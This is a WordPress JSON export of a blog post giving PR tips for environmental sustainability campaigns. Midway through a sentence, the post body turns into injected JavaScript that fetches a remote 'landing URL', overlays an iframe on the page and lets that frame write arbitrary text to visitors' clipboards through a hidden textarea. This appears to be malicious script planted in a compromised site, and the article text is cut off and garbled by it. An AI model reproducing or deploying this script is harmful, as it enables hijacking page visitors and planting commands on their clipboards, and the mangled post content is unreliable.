{"id":761,"date":"2020-07-02T17:11:59","date_gmt":"2020-07-02T15:11:59","guid":{"rendered":"http:\/\/actforyourplanet.com\/?p=761"},"modified":"2026-05-22T23:14:59","modified_gmt":"2026-05-22T21:14:59","slug":"sei-sustainable-environmental-initiative-the-keys-of-success","status":"publish","type":"post","link":"https:\/\/actforyourplanet.com\/index.php\/2020\/07\/02\/sei-sustainable-environmental-initiative-the-keys-of-success\/","title":{"rendered":"SEI ?\u00a0\u00bbSustainable Environmental Initiative\u00a0\u00bb = the keys of success"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-763 alignleft\" src=\"http:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/10\/Capture-d\u2019\u00e9cran-2020-10-08-\u00e0-11.13.44-300x296.png\" alt=\"\" width=\"227\" height=\"224\" srcset=\"https:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/10\/Capture-d\u2019\u00e9cran-2020-10-08-\u00e0-11.13.44-300x296.png 300w, https:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/10\/Capture-d\u2019\u00e9cran-2020-10-08-\u00e0-11.13.44.png 556w\" sizes=\"auto, (max-width: 227px) 100vw, 227px\" \/>From my experience with diverse global team efforts over the years, communications, public relations and business leaders looking to establish and communicate their own successful SEI campaigns can adopt the following fail-proof techniques:<\/p>\n<p>\u2022 Embrace what I like to call \u00ab\u00a0theater for the mind.\u00a0\u00bb It will be much easier for your audience to understand and buy into your vision if they can instantly imagine the end result.<\/p>\n<p>\u2022 You can infuse more emotion and feeling into a campaign by encouraging all team members to go deeper into explaining the reasoning behind the collective \u00ab\u00a0why.\u00a0\u00bb Change For Good is about something much greater than all of us. It is a legacy proposition where the future environmental well-being of the planet has been given mindful consideration and appreciation.<\/p>\n<p>\u2022 To help identify a cause that aligns with your company, ask yourself, \u00ab\u00a0What am I passionate about?\u00a0\u00bb What gives you that \u00ab\u00a0fire in your belly\u00a0\u00bb feeling? You will hit the jackpot if you can be interviewed in the press about a cause you care deeply about and possibly already invest a great deal of time, care and attention to.<\/p>\n<p>\u2022 With any big, bold and tenacious company pledge, it is important to target the correct audiences and media outlets. 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depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n   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|| !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n   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run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>From my experience with diverse global team efforts over the years, communications, public relations and business leaders looking to establish and communicate their own successful SEI campaigns can adopt the following fail-proof techniques: \u2022 Embrace what I like to call \u00ab\u00a0theater for the mind.\u00a0\u00bb It will be much easier for your audience to understand and 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